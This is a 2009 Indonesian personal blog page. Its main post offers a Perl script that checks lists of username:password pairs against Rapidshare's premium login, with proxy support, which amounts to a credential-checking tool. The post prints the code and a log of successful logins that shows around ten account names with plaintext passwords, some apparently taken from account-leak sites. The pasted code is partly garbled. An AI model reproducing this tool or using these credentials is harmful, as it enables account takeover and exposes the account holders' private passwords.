Bimatampan’s Weblog

Januari 14, 2009

[PERL] Indosat Community Free SMS

Filed under: Uncategorized — bimatampan @ 7:59 am

Setelah sekian lama gak ada wrapper nya Indosat SMS Gretong,

maka saya mencoba membuat prototip nya dengan perl…..

Hasilnya dapat dilihat seperti pada gambar berikut :

isat kirim sms web

Versi berikutnya memungkinkan dipakenya multi user,

karena indosatcommunity.com hanya mengijinkan 5 sms/hari tiap user.

Ada yang tertarik meng-convert-nya ke PHP ???

SHOUT to DOGLONG aka n3wbi3s : silahkan di convert bro…… :D

Januari 11, 2009

Petunjuk pemakaian skrip perl

Filed under: blog, komputer, seluler, umum — bimatampan @ 9:18 am

Karena ada banyaknya pertanyaan mengenai bagaimana cara pemakaian skrip perl TBYB dan Rapidshare, maka berikut ini sedikit petunjuknya :

DI WINDOWS :

Download dulu activeperl di :

http://www.activestate.com/activeperl/

lalu install di windows anda.

khusus untuk skrip rapidshare, anda harus menambahkan modul
Crypt-SSLeay, karena memerlukan koneksi https/ssl, dengan cara
mengetikkan di command prompt :

C:\ppm install http://theoryx5.uwinnipeg.ca/ppms/Crypt-SSLeay.ppd

untuk menjalankan skrip perl nya, tinggal ketik di command prompt :

C:\>skrip.pl

cara yang lain di windows adalah menggunakan cygwin,
tapi nginstallnya lebih beresiko gagal, karena membutuhkan koneksi
internet yang stabil.

DI LINUX :

Paket perl secara native telah terinstall di linux,
jadi anda tinggal jalankan di linux box anda perintah :

$chmod +x skrip.pl
$./skrip.pl

jika modul Crypt-SSLeay belum terinstall di linux box anda,
maka anda harus menginstallnya dulu sesuai dengan petunjuk
masing2 distro.

silahkan menambahkan atau memberi komentar/pertanyaan lagi
seputar petunjuk pemakaian skrip perl ini.

THX.

Januari 5, 2009

[PERL] UPDATE Rapidshare Premium User Checker

Filed under: blog, komputer, seluler, umum — bimatampan @ 6:02 am

Ada sedikit perubahan pada code, karena skrip lama akan langsung
mengeksekusi “die” sewaktu hasil parsing pada iterasi multi user checker nya tidak cocok. Hal ini akan membuat proses pengecekan multi user akan langsung berhenti.

Di skrip update v003 ini, proses akan terus berlangsung, sampai user terakhir selesai dicek.

Silahkan mengunduh skrip baru di geocities lagi :D .

Silahken bila ada komentar || saran lagi….. :D

THX.

Januari 4, 2009

[PERL] Rapidshare Premium User Checker

Filed under: blog, komputer, seluler — bimatampan @ 11:14 pm

Setelah merasa membutuhkan tool untuk mengecek kevalidan premium
user rapidshare, maka saya membuat skrip kecil dengan perl.

Fasilitas :
[+] Single user checker
[+] Multi User checker
[+] Support Proxy

rapidshare premix checker

untuk cek multi user, buat satu file, misalnya : “cekuserpremix.txt” ,

isi dengan format :


userrapid:passwordrapid

contoh :


7598271:www.freekonta.pl
Didadidadoum:www.freekonta.pl
1549391:www.freekonta.pl

Berikut ini code perl nya :


#!/usr/bin/perl
#
# rapidcheckuserv002.pl

use strict;
use LWP;
use HTTP::Cookies;
use Getopt::Std;
use Crypt::SSLeay;

my $bannerku=<new;
push @{ $browser->requests_redirectable }, 'POST';
$browser -> agent($Agent);
if ($opt_p) {
if ($opt_p=~m/(.+?)\:(.+?)\@((?:.+?)\:(?:.+))/) {
$opt_p = "http://$3";
$ENV{HTTPS_PROXY} = $opt_p;
$ENV{HTTPS_PROXY_USERNAME} = $1;
$ENV{HTTPS_PROXY_PASSWORD} = $2;
#$browser ->proxy(['http', 'https'], 'http://'.$opt_p.'/') if ($opt_p);
#$browser ->proxy(['https'], 'https://'.$opt_p.'/') if ($opt_p);
} elsif ($opt_p=~m/((?:.+?)\:(?:.+))/) {
$opt_p = "http://$1";
$ENV{HTTPS_PROXY} = $opt_p;
} else {
printlog ("\n[*] Silahken memasukkan Opsi Proxy seperti pada contoh !!!\n\n");
die("\n");
}
}
$browser ->timeout(45);
my @waktu = localtime(time);
my $log = 'rapidcuv002-'.$waktu[3].($waktu[4]+1).($waktu[5]+1900).'-'.$waktu[2].'-'.$waktu[1].'-'.$waktu[0].'.txt';
my $kokis = "lwpcookiesrapidcuv002.txt";
$browser->cookie_jar(HTTP::Cookies->new(file => $kokis, autosave => 1));

my $url = "https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi";

printlog ("\n[*] Processing: $url .....\n\n");
#printlog ("\n[*] Processing: $user :: $passwod\n\n");

if ($opt_l) {
if ($opt_l=~m/(.+?)\:(.+)/) {
#$user = $1;
#$passwod = $2;
printlog ("\n[*] Processing: $1 :: $2\n\n");
&poss($url,$1,$2);
} else {die("\n[~] Format user:password salah !!!\n\n");}
}
elsif ($opt_f) {
open(UF, $opt_f) || die "\nI can't open the list\n";
@daptar=;
close(UF);
foreach $elemen(@daptar){
chomp($elemen);
if ($elemen=~/(.+):(.+)/) {
printlog ("\n[*] Processing: $1 :: $2\n\n");
&poss($url,$1,$2);
} #of if
sleep 1;
} #of foreach
}
else {
printlog ("\n[*] Silahken memasukkan Opsi seperti pada contoh !!!\n\n");
die("\n");
}

sub poss {
my $uurl = shift;
my $uuser = shift;
my $upasswod = shift;

my $lihat = HTTP::Request->new(POST => $uurl);
$lihat->content_type('application/x-www-form-urlencoded');
$lihat->referer('https://ssl.rapidshare.com/premiumzone.html');
my $loginsend = 'uselandingpage=1&'.
'login='.$uuser.'&'.
'password='.$upasswod;
$lihat->content-length($loginsend);
$lihat->content($loginsend);
my $lihatresponse = $browser->request($lihat);
if ($lihatresponse->is_success) {
#printlog($lihatresponse->as_string);
my $kutukupret=join("",$lihatresponse->as_string);
#my $cucok=$kutukupret=~m/Overview of the Account\: (.+?)\\\/sg;
if ($kutukupret=~m/Overview of the Account\: (.+?)\\\/sg) {
printlog("\n[+] Login Premium Account $1 Berhasil\n");
}
elsif ($kutukupret=~m/\

Your Premium Account has not been found\.\/sg) {
printlog("\n[+] Your Premium Account has not been found. \n\n");
die("[-] Error...\n\n");
}
elsif ($kutukupret=~m/\

The Account has been found\, but the password is incorrect\.\/sg) {
printlog("\n[+] The Account has been found, but the password is incorrect. \n\n");
die("[-] Error...\n\n");
}
else { printlog("\n[-] Login Gagal ! Mungkin diblokir atau Password salah.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/\ Expiration date\:\ \(.+?)/sg) {
printlog("\n[+] Tanggal Expired : $1 \n");
}
else { printlog("\n[-] TGL Expired Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/\ Traffic left\:\\ \\document\.write\(setzeTT\(\"\"\+Math\.ceil\((.+?)\)\)\)\;\ (.+?)\\/sg) {
printlog("\n[+] Traffic left : $1 $2 ");
}
else { printlog("\n[-] Traffic left 1 Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/credited to the download quota\.\'\)\" style\=\"cursor\:help\"\>(.+?)\\)\\/sg) {
printlog("($1) \n");
}
else { printlog("\n[-] Traffic left 2 Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/\ RapidPoints\:\\ \(.+?)\\/sg) {
printlog("\n[+] RapidPoints : $1 \n");
}
else { printlog("\n[-] RapidPoints Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/\ Server time\:\\ \(.+?)\\/sg) {
printlog("\n[+] Server time : $1 \n");
}
else { printlog("\n[-] Server time Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/\ Used storage\:\\ \\document\.write\(setzeTT\(\"(.+?)\"\)\)\(.+?)\\/sg) {
printlog("\n[+] Used storage : $1 $2\n");
}
else { printlog("\n[-] Used storage Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/help\"\>RapidPoints PU\\:\\ \(.+?)\\/sg) {
printlog("\n[+] RapidPoints PU : $1 \n");
}
else { printlog("\n[-] RapidPoints PU Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/\ TrafficShare left\:\\ \(.+?)\\/sg) {
printlog("\n[+] TrafficShare left : $1 \n");
}
else { printlog("\n[-] TrafficShare left Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/\ Files\:\\ \(.+?)\\/sg) {
printlog("\n[+] Files : $1 \n");
}
else { printlog("\n[-] Files Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}

}
else {
print "[-] Error: ".$lihatresponse->status_line."\n\n" ; printlog ($lihatresponse->as_string);
die("[-] Error...\n\n");
}
printlog ("\n[*] *************\n\n");
} #end of sub

sub printlog {
print @_[0];
open(lo,">>$log");
print lo @_[0];
close(lo);
return;
}

maap, kalo penulisan codenya jadi kacau,
silahken donglotz di geocities.

cek multi user rapid lebih maknyuz…..

ini file log nya :

[*] Processing: https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi .....

[*] Processing: rapidhackhit :: philips

[+] Login Premium Account rapidhackhit Berhasil

[+] Tanggal Expired : Mon, 2. Feb 2009

[+] Traffic left : -3062217/1000 MB (+0 GB)

[+] RapidPoints : 2000

[+] Server time : 04.01.2009 16:54:57

[+] Used storage : 14 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 4

[*] *************

[*] Processing: 7337748 :: Ftd4g6te

[+] Login Premium Account 7337748 Berhasil

[+] Tanggal Expired : Thu, 21. May 2009

[+] Traffic left : -3033957/1000 MB (+0 GB)

[+] RapidPoints : 6000

[+] Server time : 04.01.2009 16:55:15

[+] Used storage : 0 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 0

[*] *************

[*] Processing: 3578799 :: 5TKFme5hUB

[+] Login Premium Account 3578799 Berhasil

[+] Tanggal Expired : Mon, 5. Jan 2009

[+] Traffic left : -2328952/1000 MB (+0 GB)

[+] RapidPoints : 17000

[+] Server time : 04.01.2009 16:55:48

[+] Used storage : 0 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 1

[*] *************

[*] Processing: 800953 :: 473680

[+] Login Premium Account 800953 Berhasil

[+] Tanggal Expired : Fri, 20. Feb 2009

[+] Traffic left : -2207469/1000 MB (+0 GB)

[+] RapidPoints : 19000

[+] Server time : 04.01.2009 16:56:19

[+] Used storage : 0 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 1

[*] *************

[*] Processing: stipo :: eeepc

[+] Login Premium Account stipo Berhasil

[+] Tanggal Expired : Sun, 19. Apr 2009

[+] Traffic left : -3369326/1000 MB (+0 GB)

[+] RapidPoints : 7000

[+] Server time : 04.01.2009 16:56:51

[+] Used storage : 2 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 2

[*] *************

[*] Processing: 7609420 :: cB3Xsd3418Tuv3y9Y

[+] Login Premium Account 7609420 Berhasil

[+] Tanggal Expired : Fri, 13. Mar 2009

[+] Traffic left : -4302137/1000 MB (+0 GB)

[+] RapidPoints : 3000

[+] Server time : 04.01.2009 16:57:23

[+] Used storage : 41 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 3

[*] *************

[*] Processing: 555816 :: 305509

[+] Login Premium Account 555816 Berhasil

[+] Tanggal Expired : Wed, 14. Jan 2009

[+] Traffic left : -3355262/1000 MB (+0 GB)

[+] RapidPoints : 7000

[+] Server time : 04.01.2009 16:58:00

[+] Used storage : 0 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 1

[*] *************

[*] Processing: 7337748 :: Ftd4g6te

[+] Login Premium Account 7337748 Berhasil

[+] Tanggal Expired : Thu, 21. May 2009

[+] Traffic left : -3033957/1000 MB (+0 GB)

[+] RapidPoints : 6000

[+] Server time : 04.01.2009 16:58:38

[+] Used storage : 0 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 0

[*] *************

[*] Processing: 7490064 :: zwd9ab

[+] Login Premium Account 7490064 Berhasil

[+] Tanggal Expired : Sat, 3. Jan 2009

[+] Traffic left : 12000000/1000 MB (+0 GB)

[+] RapidPoints : 0

[+] Server time : 04.01.2009 16:59:11

[+] Used storage : 0 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 0

[*] *************

[*] Processing: 5792166 :: www.rapidhack.pl

[+] Login Premium Account 5792166 Berhasil

[+] Tanggal Expired : Mon, 9. Feb 2009

[+] Traffic left : 799287/1000 MB (+16 GB)

[+] RapidPoints : 12100

[+] Server time : 04.01.2009 16:59:48

[+] Used storage : 312 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 21.00 GB

[+] Files : 2

[*] *************

TO DO :
[+] Ngatasin versi bahasa german nya….. :D
[+] Pengennya langsung check masih ada quota kagak….

Ada komentar || saran ?

Tema: Shocking Blue Green. Blog pada WordPress.com.

Ikuti

Get every new post delivered to your Inbox.